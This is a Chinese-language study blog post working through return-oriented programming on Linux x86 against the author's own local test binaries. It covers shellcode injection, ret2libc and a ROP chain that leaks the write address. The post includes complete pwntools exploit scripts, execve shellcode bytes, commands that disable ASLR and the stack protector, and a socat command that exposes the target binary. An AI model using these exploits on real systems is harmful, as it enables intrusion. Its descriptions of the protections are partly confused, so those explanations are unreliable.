一步一步学ROP之x86篇

根据寒假计划的第三计划,是该学习rop了。下面是学习rop之linux_x86篇的学习笔记以及总结。

语知其事,先解其意。rop是什么?

一、ROP

ROP的全称为Return-oriented programming(返回导向编程),这一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)

了解了其意思,下面就是学习内容

第一、Control Flow Hijack 程序流劫持

这是一个较为常见的程序流劫持,其宗旨就是栈溢出,格式化字符串攻击和栈溢出。通过这个手段,攻击者可以做的就是控制PC指针然后执行目标代码,想要应对这个攻击,在linux系统下也是有保护机制存在的:

1、DEP(堆栈不可执行):这也就是gcc编译器gs验证码机制,这是专门防止缓冲区溢出而采取的保护措施,
具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。
此机制的关闭方法是:在gcc编译时采用-fno-stack-protector选项。

2、ASLR(内存地址随机化):在Ubuntu个其他Linux内核的系统中,目前都采用的内存地址随机话机制,这将会使得猜测具体的内存地址变得十分困难。
此机制的关闭方法是:sysctl -w kernel.randomize_va_space=0

3、Stack Protector(栈保护):对于Federal系统,默认会执行可执行程序的屏蔽保护机制,该机制不允许执行存储在栈中的代码,这会使得缓冲区溢出攻击变得无效。而Ubuntu系统中默认没有采用这种机制。
此机制的关闭方法是:sysctl –w kernel.exec-shield=0 gcc下:-z execstack

机制了解了下面来一个实际的操作,初学练习就要把保护机制全部关闭。就用书上所用到的这个例子好了。

根据大神的指引,初学先把Linux下的保护机制全部关闭,指令如下:
这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。
下面的指令就是关闭Linux系统的ASpapLR保护

关闭之后就先开始对这个程序进行分析。先在python下创建150个测试数据
gdb的插件peda自带pattern脚本直接生成

然后开始run进行调试

可以看出来错误地址是0x41416d41 然后使用指令可以计算PC返回值覆盖点为140个字节,所以只要构造一个“A”*140+ret字符串就可以让PC执行我们所需要的指令

之后就是需要一段shellcod,获取方法很多,网上找现成的,msf自动生成,作为初学者,shellcode不好找,因为gdb调试的时候会影响buf在内存的地址
根据大神指示,有一个好的方法:开启core dump这个功能

ulimit -c unlimited
sudo sh -c ‘echo “/tmp/core.%t” /proc/sys/kernel/core_pattern’

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xbffff029。

现在溢出点,shellcode和返回值地址都有。可以写exp了,最终测试代码如下:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./test')
ret = 0xbffff029

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret)
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload) #发送payload

p.interactive()  #开启交互shell

接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成,命令如下:

socat TCP4-LISTEN:10001,fork EXEC:./test

随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了。

因为现在目标程序是跑在socat的环境中,exp脚本除了要把p = process(‘./level1’)换成p = remote(‘127.0.0.1’,10001) 之外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出啦!

第二、Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护

学习DEP就把DEP打开,其他两个(stack protector 和ASLR)依旧关闭
开启DEP指令如下:

gcc -fno-stack-protector -o test test.c

此时打开了DEP防护,那么如果还是提交上面那个脚本的话,系统会拒绝我们执行shellcode,
现在的测试程序为rw,而上面确实rwx

我们知道test2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

   $ gdb ./test2
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
….
(gdb) break main
Breakpoint 1 at 0x8048430
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/test2

Breakpoint 1, 0x08048430 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e5f460 <system>
(gdb) print __libc_start_main
$2 = {<text variable, no debug info>} 0xb7e393f0 <__libc_start_main>
(gdb) find 0xb7e393f0, +2200000, "/bin/sh"(gdb如果安装有peda插件貌似这跳命令找不到)
0xb7f81ff8
warning: Unable to access target memory at 0xb7fc8500, halting search.
1 pattern found.
(gdb) x/s 0xb7f81ff8
0xb7f81ff8:  "/bin/sh"

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e5f460以及”/bin/sh”的地址0xb7f81ff8。下面我们开始写exp:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

第三、ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护

下面打开ASLR保护,指令如下

sudo -s
echo 2 /proc/sys/kernel/randomize_va_space

从现在开始会发现test的libc.so的地址每次都会变化。
我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。
所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。
首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:

我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()[此函数用于确定动态库中函数地址]函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。
因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。
使用ldd【 ldd命令用于判断某个可执行的 binary 档案含有什么动态函式库】命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

最后写exp:

#!python
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('test3')

p = process('./test3')
#p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x0804844d
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

小结:

本文主要根据大牛的文章一步一步进行操作和学习,当然一下子也很难全部接受,后面还要多加温习,熟能生巧。

Contents
  1. 1. 一、ROP
  2. 2. 第一、Control Flow Hijack 程序流劫持
  3. 3. 第二、Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护
  4. 4. 第三、ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护
  5. 5. 小结:
|